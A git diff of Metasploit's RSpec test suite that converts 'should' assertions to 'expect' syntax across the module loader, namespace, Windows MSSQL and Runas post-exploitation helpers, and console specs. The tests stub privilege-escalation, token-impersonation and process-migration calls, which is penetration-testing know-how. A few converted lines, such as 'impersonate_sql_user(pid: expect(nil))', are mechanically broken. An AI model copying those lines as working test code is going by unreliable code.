"path/to/unit_test#{unit_test_extension}" - subject.send(:module_path?, path).should be_falsey + expect(subject.send(:module_path?, path)).to be_falsey end it 'should return false if the file is a test suite' do test_suite_extension = '.rb.ts.rb' path = "path/to/test_suite#{test_suite_extension}" - subject.send(:module_path?, path).should be_falsey + expect(subject.send(:module_path?, path)).to be_falsey end it 'should return true otherwise' do - subject.send(:module_path?, module_path).should be_truthy + expect(subject.send(:module_path?, module_path)).to be_truthy end end @@ -888,14 +894,14 @@ RSpec.describe Msf::Modules::Loader::Base do context '#namespace_module_name' do it 'should prefix the name with Msf::Modules::' do - subject.send(:namespace_module_name, module_full_name).should start_with('Msf::Modules::') + expect(subject.send(:namespace_module_name, module_full_name)).to start_with('Msf::Modules::') end it 'should prefix the relative name with Mod' do namespace_module_name = subject.send(:namespace_module_name, module_full_name) relative_name = namespace_module_name.gsub(/^.*::/, '') - relative_name.should start_with('Mod') + expect(relative_name).to start_with('Mod') end it 'should be reversible' do @@ -908,13 +914,13 @@ RSpec.describe Msf::Modules::Loader::Base do context '#namespace_module_names' do it "should prefix the array with ['Msf', 'Modules']" do - subject.send(:namespace_module_names, module_full_name).should start_with(['Msf', 'Modules']) + expect(subject.send(:namespace_module_names, module_full_name)).to start_with(['Msf', 'Modules']) end it 'should prefix the relative name with Mod' do namespace_module_names = subject.send(:namespace_module_names, module_full_name) - namespace_module_names.last.should start_with('Mod') + expect(namespace_module_names.last).to start_with('Mod') end it 'should be reversible' do @@ -1032,9 +1038,11 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should return false' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - false - }.should be_falsey + expect( + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + false + } + ).to eq false end end @@ -1053,9 +1061,11 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should return true' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - true - }.should be_truthy + expect( + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + true + } + ).to eq true end end end @@ -1089,18 +1099,18 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_falsey + expect(Msf::Modules.const_defined?(relative_name)).to be_falsey begin subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Module.const_defined?(relative_name).should be_truthy + expect(Msf::Module.const_defined?(relative_name)).to be_truthy raise error_class, error_message end rescue error_class end - Msf::Modules.const_defined?(relative_name).should be_falsey + expect(Msf::Modules.const_defined?(relative_name)).to be_falsey end it 'should re-raise the error' do @@ -1114,46 +1124,50 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with the block returning false' do it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_falsey + expect(Msf::Modules.const_defined?(relative_name)).to be_falsey subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_truthy + expect(Msf::Modules.const_defined?(relative_name)).to be_truthy false end - Msf::Modules.const_defined?(relative_name).should be_falsey + expect(Msf::Modules.const_defined?(relative_name)).to be_falsey end it 'should return false' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - false - }.should be_falsey + expect( + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + false + } + ).to eq false end end context 'with the block returning true' do it 'should not restore the non-existent previous namespace module' do - Msf::Modules.const_defined?(relative_name).should be_falsey + expect(Msf::Modules.const_defined?(relative_name)).to be_falsey created_namespace_module = nil subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_truthy + expect(Msf::Modules.const_defined?(relative_name)).to be_truthy created_namespace_module = namespace_module true end - Msf::Modules.const_defined?(relative_name).should be_truthy + expect(Msf::Modules.const_defined?(relative_name)).to be_truthy expect(Msf::Modules.const_get(relative_name)).to eq created_namespace_module end it 'should return true' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - true - }.should be_truthy + expect( + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + true + } + ).to eq true end end end @@ -1256,14 +1270,14 @@ RSpec.describe Msf::Modules::Loader::Base do include_context 'Metasploit::Framework::Spec::Constants cleaner' it 'should not change the constant' do - parent_module.const_defined?(relative_name).should be_truthy + expect(parent_module.const_defined?(relative_name)).to be_truthy current_module = parent_module.const_get(relative_name) expect(current_module).to eq @current_namespace_module subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) - parent_module.const_defined?(relative_name).should be_truthy + expect(parent_module.const_defined?(relative_name)).to be_truthy restored_module = parent_module.const_get(relative_name) expect(restored_module).to eq current_module expect(restored_module).to eq @current_namespace_module @@ -1284,7 +1298,7 @@ RSpec.describe Msf::Modules::Loader::Base do include_context 'Metasploit::Framework::Spec::Constants cleaner' it 'should remove relative_name from parent_module' do - parent_module.const_defined?(relative_name).should be_truthy + expect(parent_module.const_defined?(relative_name)).to be_truthy expect(parent_module).to receive(:remove_const).with(relative_name).and_call_original expect(parent_module).to receive(:remove_const).with(relative_name.to_sym).and_call_original @@ -1306,11 +1320,11 @@ RSpec.describe Msf::Modules::Loader::Base do include_context 'Metasploit::Framework::Spec::Constants cleaner' it 'should set relative_name on parent_module to namespace_module' do - parent_module.const_defined?(relative_name).should be_falsey + expect(parent_module.const_defined?(relative_name)).to be_falsey subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - parent_module.const_defined?(relative_name).should be_truthy + expect(parent_module.const_defined?(relative_name)).to be_truthy expect(parent_module.const_get(relative_name)).to eq @original_namespace_module end end @@ -1332,7 +1346,7 @@ RSpec.describe Msf::Modules::Loader::Base do metasploit_class = double('Metasploit Class') metasploit_class.should_not respond_to(:is_usable) - subject.send(:usable?, metasploit_class).should be_truthy + expect(subject.send(:usable?, metasploit_class)).to be_truthy end end @@ -1365,7 +1379,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should return false' do - subject.send(:usable?, metasploit_class).should be_falsey + expect(subject.send(:usable?, metasploit_class)).to be_falsey end end end diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index 6c243a5949..70818f0104 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -53,7 +53,7 @@ RSpec.describe Msf::Modules::Loader::Directory do end it 'should load a module that can be created' do - subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy created_module = module_manager.create(module_full_name) @@ -76,7 +76,7 @@ RSpec.describe Msf::Modules::Loader::Directory do end it 'should not load the module' do - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end @@ -91,7 +91,7 @@ RSpec.describe Msf::Modules::Loader::Directory do end it 'should not load the module' do - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end end @@ -112,7 +112,7 @@ RSpec.describe Msf::Modules::Loader::Directory do end it 'should not raise an error' do - File.exist?(module_path).should be_falsey + expect(File.exist?(module_path)).to be_falsey expect { subject.load_module(parent_path, type, module_reference_name) @@ -120,9 +120,9 @@ RSpec.describe Msf::Modules::Loader::Directory do end it 'should return false' do - File.exist?(module_path).should be_falsey + expect(File.exist?(module_path)).to be_falsey - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end end @@ -140,7 +140,7 @@ RSpec.describe Msf::Modules::Loader::Directory do # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test it 'should attempt to open the expected module_path' do expect(File).to receive(:open).with(module_path, 'rb') - File.exist?(module_path).should be_falsey + expect(File.exist?(module_path)).to be_falsey subject.send(:read_module_content, parent_path, type, module_reference_name) end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index 177edb0270..c34eaa0ed9 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -37,7 +37,7 @@ RSpec.describe Msf::Modules::Namespace do constant.to_s =~ /Metasploit/ } - metasploit_constants.should be_empty + expect(metasploit_constants).to be_empty end end @@ -47,11 +47,11 @@ RSpec.describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit1').should be_truthy + expect(subject.const_defined?('Metasploit1')).to be_truthy end it 'should return the class' do - subject.metasploit_class.should be_a Class + expect(subject.metasploit_class).to be_a Class end end @@ -61,11 +61,11 @@ RSpec.describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit2').should be_truthy + expect(subject.const_defined?('Metasploit2')).to be_truthy end it 'should return the class' do - subject.metasploit_class.should be_a Class + expect(subject.metasploit_class).to be_a Class end end @@ -75,11 +75,11 @@ RSpec.describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit3').should be_truthy + expect(subject.const_defined?('Metasploit3')).to be_truthy end it 'should return the class' do - subject.metasploit_class.should be_a Class + expect(subject.metasploit_class).to be_a Class end end @@ -89,11 +89,11 @@ RSpec.describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit4').should be_truthy + expect(subject.const_defined?('Metasploit4')).to be_truthy end it 'should return the class' do - subject.metasploit_class.should be_a Class + expect(subject.metasploit_class).to be_a Class end end @@ -103,15 +103,15 @@ RSpec.describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit5').should be_truthy + expect(subject.const_defined?('Metasploit5')).to be_truthy end it 'should be newer than Msf::Framework::Major' do - major.should > Msf::Framework::Major + expect(major).to > Msf::Framework::Major end it 'should return nil' do - subject.metasploit_class.should be_nil + expect(subject.metasploit_class).to be_nil end end end @@ -158,7 +158,7 @@ RSpec.describe Msf::Modules::Namespace do end error.should_not be_nil - error.to_s.should include(module_path) + expect(error.to_s).to include(module_path) end it 'should include the module reference name' do @@ -170,7 +170,7 @@ RSpec.describe Msf::Modules::Namespace do end error.should_not be_nil - error.to_s.should include(module_reference_name) + expect(error.to_s).to include(module_reference_name) end end end @@ -179,7 +179,7 @@ RSpec.describe Msf::Modules::Namespace do context 'version_compatible!' do context 'without RequiredVersions' do it 'should not be defined' do - subject.const_defined?('RequiredVersions').should be_falsey + expect(subject.const_defined?('RequiredVersions')).to be_falsey end it 'should not raise an error' do diff --git a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb index 67f581f0b4..8e732966a3 100644 --- a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb +++ b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb @@ -12,7 +12,7 @@ RSpec.describe Msf::Modules::VersionCompatibilityError do end it 'should say cause was version check' do - subject.to_s.should match(/due to version check/) + expect(subject.to_s).to match(/due to version check/) end context 'with :minimum_api_version' do @@ -27,7 +27,7 @@ RSpec.describe Msf::Modules::VersionCompatibilityError do end it 'should include minimum_api_version in error' do - subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version}\)/) + expect(subject.to_s).to match(/due to version check \(requires API >= #{minimum_api_version}\)/) end end @@ -40,7 +40,7 @@ RSpec.describe Msf::Modules::VersionCompatibilityError do end it 'should include minimum_api_version and minimum_core_version in error' do - subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version} and Core >= #{minimum_core_version}\)/) + expect(subject.to_s).to match(/due to version check \(requires API >= #{minimum_api_version} and Core >= #{minimum_core_version}\)/) end end @@ -56,7 +56,7 @@ RSpec.describe Msf::Modules::VersionCompatibilityError do end it 'should include minimum_core_version in error' do - subject.to_s.should match(/due to version check \(requires Core >= #{minimum_core_version}\)/) + expect(subject.to_s).to match(/due to version check \(requires Core >= #{minimum_core_version}\)/) end end end diff --git a/spec/lib/msf/core/post/windows/mssql_spec.rb b/spec/lib/msf/core/post/windows/mssql_spec.rb index a51cb84905..fed8925a7d 100644 --- a/spec/lib/msf/core/post/windows/mssql_spec.rb +++ b/spec/lib/msf/core/post/windows/mssql_spec.rb @@ -121,19 +121,19 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should return nil if unable to locate any SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service) result = subject.check_for_sqlserver(instance) - result.should be_nil + expect(result).to be_nil end it "should identify a running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_2k8_sql_instance + expect(result).to eq running_2k8_sql_instance end it "shouldn't identify a non running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(stopped_2k8_sql_instance).and_yield(running_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_2k8_sql_instance + expect(result).to eq running_2k8_sql_instance end end @@ -141,7 +141,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should identify a running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_7_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_7_sql_instance + expect(result).to eq running_7_sql_instance end end @@ -149,13 +149,13 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should identify a running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_2k_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_2k_sql_instance + expect(result).to eq running_2k_sql_instance end it "should identify a named SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_named_2k_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k_sql_instance + expect(result).to eq running_named_2k_sql_instance end end @@ -163,13 +163,13 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should identify a running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_2k5_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_2k5_sql_instance + expect(result).to eq running_2k5_sql_instance end it "should identify a named SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_named_2k5_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k5_sql_instance + expect(result).to eq running_named_2k5_sql_instance end end @@ -177,13 +177,13 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should identify a running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_2k8_sql_instance + expect(result).to eq running_2k8_sql_instance end it "should identify a named SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_named_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k8_sql_instance + expect(result).to eq running_named_2k8_sql_instance end end @@ -195,25 +195,25 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should return nil if unable to locate any SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service) result = subject.check_for_sqlserver(instance) - result.should be_nil + expect(result).to be_nil end it "should identify a running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_named_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k8_sql_instance + expect(result).to eq running_named_2k8_sql_instance end it "shouldn't identify a non running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(stopped_named_2k8_sql_instance).and_yield(running_named_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k8_sql_instance + expect(result).to eq running_named_2k8_sql_instance end it "should only identify that instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_2k8_sql_instance).and_yield(running_named_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k8_sql_instance + expect(result).to eq running_named_2k8_sql_instance end end @@ -225,7 +225,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should identify a running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_7_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_7_sql_instance + expect(result).to eq running_7_sql_instance end end @@ -238,7 +238,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service) .and_yield(running_2k_sql_instance).and_yield(running_named_2k_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k_sql_instance + expect(result).to eq running_named_2k_sql_instance end end @@ -251,7 +251,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service) .and_yield(running_2k5_sql_instance).and_yield(running_named_2k5_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k5_sql_instance + expect(result).to eq running_named_2k5_sql_instance end end @@ -264,7 +264,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service) .and_yield(running_2k8_sql_instance).and_yield(running_named_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k8_sql_instance + expect(result).to eq running_named_2k8_sql_instance end end end @@ -287,9 +287,9 @@ RSpec.describe Msf::Post::Windows::MSSQL do end it 'should return false if service is invalid or pid is invalid' do - subject.impersonate_sql_user(nil).should be_falsey - subject.impersonate_sql_user(pid: nil).should be_falsey - subject.impersonate_sql_user(pid: 0).should be_falsey + expect(subject.impersonate_sql_user(nil)).to be_falsey + subject.impersonate_sql_user(pid: expect(nil)).to be_falsey + subject.impersonate_sql_user(pid: expect(0)).to be_falsey end context 'user has privs to impersonate' do @@ -302,17 +302,17 @@ RSpec.describe Msf::Post::Windows::MSSQL do it 'should return true if successful impersonating' do subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('Successfully') - subject.impersonate_sql_user(service).should be true + expect(subject.impersonate_sql_user(service)).to be true end it 'should return false if fails impersonating' do subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('guff') - subject.impersonate_sql_user(service).should be false + expect(subject.impersonate_sql_user(service)).to be false end it 'should return false if unable to find process username' do subject.stub_chain('session.sys.process.each_process').and_yield('pid' => 0) - subject.impersonate_sql_user(service).should be false + expect(subject.impersonate_sql_user(service)).to be false end end @@ -325,13 +325,13 @@ RSpec.describe Msf::Post::Windows::MSSQL do it 'should return true if successful' do expect(subject).to receive(:print_warning) subject.stub_chain('session.core.migrate').with(pid).and_return(true) - subject.impersonate_sql_user(service).should be true + expect(subject.impersonate_sql_user(service)).to be true end it 'should rescue an exception if migration fails' do expect(subject).to receive(:print_warning) subject.stub_chain('session.core.migrate').with(pid).and_raise(Rex::RuntimeError) - subject.impersonate_sql_user(service).should be false + expect(subject.impersonate_sql_user(service)).to be false end end end @@ -339,21 +339,21 @@ RSpec.describe Msf::Post::Windows::MSSQL do describe "#get_system" do it 'should return true if already SYSTEM' do expect(subject).to receive(:is_system?).and_return(true) - subject.get_system.should be_truthy + expect(subject.get_system).to be_truthy end it 'should return true if able to get SYSTEM and print a warning' do expect(subject).to receive(:is_system?).and_return(false) expect(subject).to receive(:print_warning) subject.stub_chain('session.priv.getsystem').and_return([true]) - subject.get_system.should be_truthy + expect(subject.get_system).to be_truthy end it 'should return false if unable to get SYSTEM and print a warning' do expect(subject).to receive(:is_system?).and_return(false) expect(subject).to receive(:print_warning) subject.stub_chain('session.priv.getsystem').and_return([false]) - subject.get_system.should be_falsey + expect(subject.get_system).to be_falsey end end @@ -367,7 +367,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do expect(c).to receive(:read).and_return(nil) expect(c).to receive(:close) expect(p).to receive(:close) - subject.run_cmd(nil).should eq 'hello' + expect(subject.run_cmd(nil)).to eq 'hello' end end @@ -395,9 +395,9 @@ RSpec.describe Msf::Post::Windows::MSSQL do context 'when only a query is supplied' do it 'should pass the @sql_client, and query to run_cmd' do expect(subject).to receive(:run_cmd) do |*args| - args.first.include?(sqlclient).should be_truthy - args.first.include?("-Q \"#{query}\" ").should be_truthy - args.first.include?("-S . ").should be_truthy + expect(args.first.include?(sqlclient)).to be_truthy + expect(args.first.include?("-Q \"#{query}\" ")).to be_truthy + expect(args.first.include?("-S . ")).to be_truthy end subject.run_sql(query) end @@ -406,18 +406,18 @@ RSpec.describe Msf::Post::Windows::MSSQL do context 'when a query and instance is supplied' do it 'should pass the @sql_client, query, and instance to run_cmd' do expect(subject).to receive(:run_cmd) do |*args| - args.first.include?(sqlclient).should be_truthy - args.first.include?("-Q \"#{query}\" ").should be_truthy - args.first.include?("-S .\\#{instance} ").should be_truthy + expect(args.first.include?(sqlclient)).to be_truthy + expect(args.first.include?("-Q \"#{query}\" ")).to be_truthy + expect(args.first.include?("-S .\\#{instance} ")).to be_truthy end subject.run_sql(query, instance) end it 'should shouldnt supply an instance if the target is mssqlserver (7/2000)' do expect(subject).to receive(:run_cmd) do |*args| - args.first.include?(sqlclient).should be_truthy - args.first.include?("-Q \"#{query}\" ").should be_truthy - args.first.include?("-S . ").should be_truthy + expect(args.first.include?(sqlclient)).to be_truthy + expect(args.first.include?("-Q \"#{query}\" ")).to be_truthy + expect(args.first.include?("-S . ")).to be_truthy end subject.run_sql(query, 'mssqlsErver') end @@ -426,9 +426,9 @@ RSpec.describe Msf::Post::Windows::MSSQL do context 'when a query, instance, and server is supplied' do it 'should pass the @sql_client, query, instance, and server to run_cmd' do expect(subject).to receive(:run_cmd) do |*args| - args.first.include?(sqlclient).should be_truthy - args.first.include?("-Q \"#{query}\" ").should be_truthy - args.first.include?("-S #{server}\\#{instance} ").should be_truthy + expect(args.first.include?(sqlclient)).to be_truthy + expect(args.first.include?("-Q \"#{query}\" ")).to be_truthy + expect(args.first.include?("-S #{server}\\#{instance} ")).to be_truthy end subject.run_sql(query, instance, server) end @@ -446,24 +446,24 @@ RSpec.describe Msf::Post::Windows::MSSQL do describe "#check_osql" do it "should return nil if no osql" do expect(subject).to receive(:run_cmd).with('osql -?').and_return('blah') - subject.check_osql.should be_falsey + expect(subject.check_osql).to be_falsey end it "should return true if present" do expect(subject).to receive(:run_cmd).with('osql -?').and_return('(usage: osql)') - subject.check_osql.should be_truthy + expect(subject.check_osql).to be_truthy end end describe "#check_sqlcmd" do it "should return nil if no sqlcmd" do expect(subject).to receive(:run_cmd).and_return('blah') - subject.check_sqlcmd.should be_falsey + expect(subject.check_sqlcmd).to be_falsey end it "should return true if present" do expect(subject).to receive(:run_cmd).and_return('SQL Server Command Line Tool') - subject.check_sqlcmd.should be_truthy + expect(subject.check_sqlcmd).to be_truthy end end @@ -471,22 +471,22 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should return nil if no client is available" do expect(subject).to receive(:check_sqlcmd).and_return(false) expect(subject).to receive(:check_osql).and_return(false) - subject.get_sql_client.should be_nil - subject.sql_client.should be_nil + expect(subject.get_sql_client).to be_nil + expect(subject.sql_client).to be_nil end it "should return 'osql' if osql is available" do expect(subject).to receive(:check_sqlcmd).and_return(false) expect(subject).to receive(:check_osql).and_return(true) - subject.get_sql_client.should eq osql - subject.sql_client.should eq osql + expect(subject.get_sql_client).to eq osql + expect(subject.sql_client).to eq osql end it "should return 'sqlcmd' if sqlcmd is available" do allow(subject).to receive(:check_osql).and_return(true) expect(subject).to receive(:check_sqlcmd).and_return(true) - subject.get_sql_client.should eq sql_command - subject.sql_client.should eq sql_command + expect(subject.get_sql_client).to eq sql_command + expect(subject.sql_client).to eq sql_command end end end diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index bbcf9ac95e..8c7944b2cc 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -48,15 +48,15 @@ RSpec.describe Msf::Post::Windows::Runas do expect(advapi32).to receive(:CreateProcessWithLogonW) expect(kernel32).not_to receive(:CloseHandle) pi = subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe') - pi.should be_kind_of(Hash) - pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) + expect(pi).to be_kind_of(Hash) + expect(pi).to eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) end it "should return a nil on failure" do expect(advapi32).to receive(:CreateProcessWithLogonW) expect(kernel32).not_to receive(:CloseHandle) advapi32.to receive(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') - subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil + expect(subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end end @@ -68,8 +68,8 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).to receive(:CloseHandle).with(1) expect(kernel32).to receive(:CloseHandle).with(2) pi = subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe') - pi.should be_kind_of(Hash) - pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) + expect(pi).to be_kind_of(Hash) + expect(pi).to eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) end it "should return a nil on failure of create process" do @@ -79,7 +79,7 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) advapi32.to receive(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') - subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil + expect(subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end it "should return a nil on failure of logon user" do @@ -89,27 +89,27 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) advapi32.to receive(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') - subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil + expect(subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end end context "#startup_info" do it "should be 68 bytes" do - subject.startup_info.size.should eq(68) + expect(subject.startup_info.size).to eq(68) end it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV') - si[11].should eq(1) - si[12].should eq(0) + expect(si[11]).to eq(1) + expect(si[12]).to eq(0) end end context "#parse_process_information" do it "should return a hash when given valid data" do pi = subject.parse_process_information(process_info) - pi.should be_kind_of(Hash) - pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) + expect(pi).to be_kind_of(Hash) + expect(pi).to eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) end it "should return an exception when given an empty string" do @@ -141,15 +141,15 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should return true when UPN format and domain is nil" do - subject.check_user_format(upn_username, nil).should be true + expect(subject.check_user_format(upn_username, nil)).to be true end it "should return true when domain format and domain is nil" do - subject.check_user_format(domain_username, nil).should be true + expect(subject.check_user_format(domain_username, nil)).to be true end it "should return true when domain format and domain supplied" do - subject.check_user_format(domain_username, domain).should be true + expect(subject.check_user_format(domain_username, domain)).to be true end end @@ -185,11 +185,11 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should return true when application_name is set and command_line is nil" do - subject.check_command_length(application_name, nil, max_length).should be true + expect(subject.check_command_length(application_name, nil, max_length)).to be true end it "should return true when application_name is set and command_line is max_length" do - subject.check_command_length(application_name, normal_command_line, max_length).should be true + expect(subject.check_command_length(application_name, normal_command_line, max_length)).to be true end it "should raise an exception when command_line is larger than max_length" do @@ -201,7 +201,7 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should return true when application_name is nil and command_module is less than MAX_PATH" do - subject.check_command_length(nil, normal_command_module, max_length).should be true + expect(subject.check_command_length(nil, normal_command_module, max_length)).to be true end end end diff --git a/spec/lib/msf/db_manager/export_spec.rb b/spec/lib/msf/db_manager/export_spec.rb index 794f54a5dd..a08d28e9cf 100644 --- a/spec/lib/msf/db_manager/export_spec.rb +++ b/spec/lib/msf/db_manager/export_spec.rb @@ -73,7 +73,7 @@ RSpec.describe Msf::DBManager::Export do context '/disclosure-date' do it 'should have Mdm::Module::Detail#disclosure_date present' do - module_detail.disclosure_date.should be_present + expect(module_detail.disclosure_date).to be_present end it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do @@ -101,7 +101,7 @@ RSpec.describe Msf::DBManager::Export do it 'should not write anything to report_file' do extract_module_detail_info - report_file.string.should be_empty + expect(report_file.string).to be_empty end end end diff --git a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb index fc63a22569..4b062f1d71 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb @@ -78,19 +78,19 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do end it 'should have fullname in first column' do - cell(printed_table, 0, 0).should include(module_detail.fullname) + expect(cell(printed_table, 0, 0)).to include(module_detail.fullname) end it 'should have disclosure date in second column' do - cell(printed_table, 0, 1).should include(module_detail.disclosure_date.strftime("%Y-%m-%d")) + expect(cell(printed_table, 0, 1)).to include(module_detail.disclosure_date.strftime("%Y-%m-%d")) end it 'should have rank name in third column' do - cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank]) + 